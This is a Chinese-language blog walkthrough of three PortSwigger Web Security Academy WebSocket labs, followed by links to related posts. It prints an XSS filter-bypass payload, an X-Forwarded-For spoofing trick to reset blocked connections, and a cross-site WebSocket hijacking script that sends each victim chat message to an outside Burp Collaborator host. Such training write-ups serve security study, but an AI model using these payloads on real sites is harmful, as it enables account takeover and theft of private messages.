Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets
Lab: Manipulating WebSocket messages to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能 - 你提交的聊天消息会被辅助客户端实时查看
- 在线商城有一个用
- 要求
- 使用
WebScoket消息触发alert()
- 使用
- 解题步骤
- 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
- 在WebSockets history中把发送信息的请求包发送到Repeater
- 把消息内容修改为xss payload
Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
- 题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能 - 它有一个主动但是存在缺陷的XSS过滤器
- 在线商城有一个用
- 要求
- 使用
WebScoket消息触发alert()
- 使用
- 解题过程
- 测一下过滤了些啥:(连接失败后,利用
X-Forwarded-For伪造IP重置连接即可)- 过滤了n多标签,iframe可用
- 过滤了
() - 过滤了
onxxxx事件 - 过滤了
javascript
- 最后的payload和solution一样
<iframe src='JavAsCript:alert`1`'>
- 测一下过滤了些啥:(连接失败后,利用
Lab: Cross-site WebSocket hijacking
题目描述
- 在线商城有一个用
WebSockets实现的在线聊天功能
- 在线商城有一个用
要求
- 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
解题过程
websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据
脚本参考solution,没有考虑到
onopen事件的处理<script>
websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat')
websocket.onopen = function start(event) {
websocket.send("READY");
}
websocket.onmessage = function handleReply(event) {
fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
} </script>
Portswigger web security academy:WebSockets的更多相关文章
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- python基础学习之函数基础和部分内置函数
在函数调用的时候,必备参数必须要传入 函数定义: def 函数名: 代码块pass return 返回值 函数名命名规则: 字母.数字和下划线组成,和变量命名规则一致 pass在这里表示什么都没有 ...
- ajax传数组后台GO语言接收
js代码如下: function PostHandle(url,data,callback) { $.ajax({ type: "Post", url:url, data:data ...
- python网络编程--TCP客户端的开发
#导入socket模块 2 import socket 3 #参数说明 4 """ 5 socket类的介绍 6 创建客户端socket对象 7 socket.socke ...
- Hznu_0j 1557
题目链接:http://acm.hznu.edu.cn/OJ/problem.php?id=1557 题解:将两个数组分别升序和降序排序后,累加差的绝对值. Ac代码: #include<std ...
- python3 中is和==的区别
is 身份运算符,用来判断对象是否属于同一地址 (python内置函数id() 可以返回对象地址) == 比较运算符,用于判断值是否相同
- 走进docker-swarm 带大家快速掌握docker自带编排工具
什么是Docker Swarm? 对比Docker 前面我们介绍过Docker可以理解成是一个我们的服务的独立运行的容器,那么在实际工作中,我们的系统可能是一个微服务应用,系统中根据业务拆分成多个模块 ...
- 前端 | 使用 ECharts 绘制关系图
0 需求 做的项目需要画一个关系图,主要需求如下: 需要展示6种对象之间的关系:数据机构 数据 合约 模型 计算机构 应用 支持突出显示6种对象中的某一种的所有对象 支持Top x子图功能.top x ...
- 记一次metasploitable2内网渗透之1524端口
0x01.漏洞 许多攻击脚本将安装一个后门SHELL于这个端口,尤其是针对SUN系统中Sendmail和RPC服务漏洞的脚本.如果刚安装了防火墙就看到在这个端口上的连接企图,很可能是上述原因.可以试试 ...
- 比较运算规则 == 、 ===、Object.is 和 ToPrimitive 方法 [[DefaultValue]] (hint)
1.== 相等运算符 如果 x 与 y 类型一致时规则如下: 1. 如果 x 类型为 Undefined,返回 true. 2. 如果 x 类型为 Null,返回 true. 3. 如果 x 类型为 ...
- Leedcode算法专题训练(哈希表)
Java 中的 HashSet 用于存储一个集合,可以查找元素是否在集合中.如果元素有穷,并且范围不大,那么可以用一个布尔数组来存储一个元素是否存在.例如对于只有小写字符的元素,就可以用一个长度为 2 ...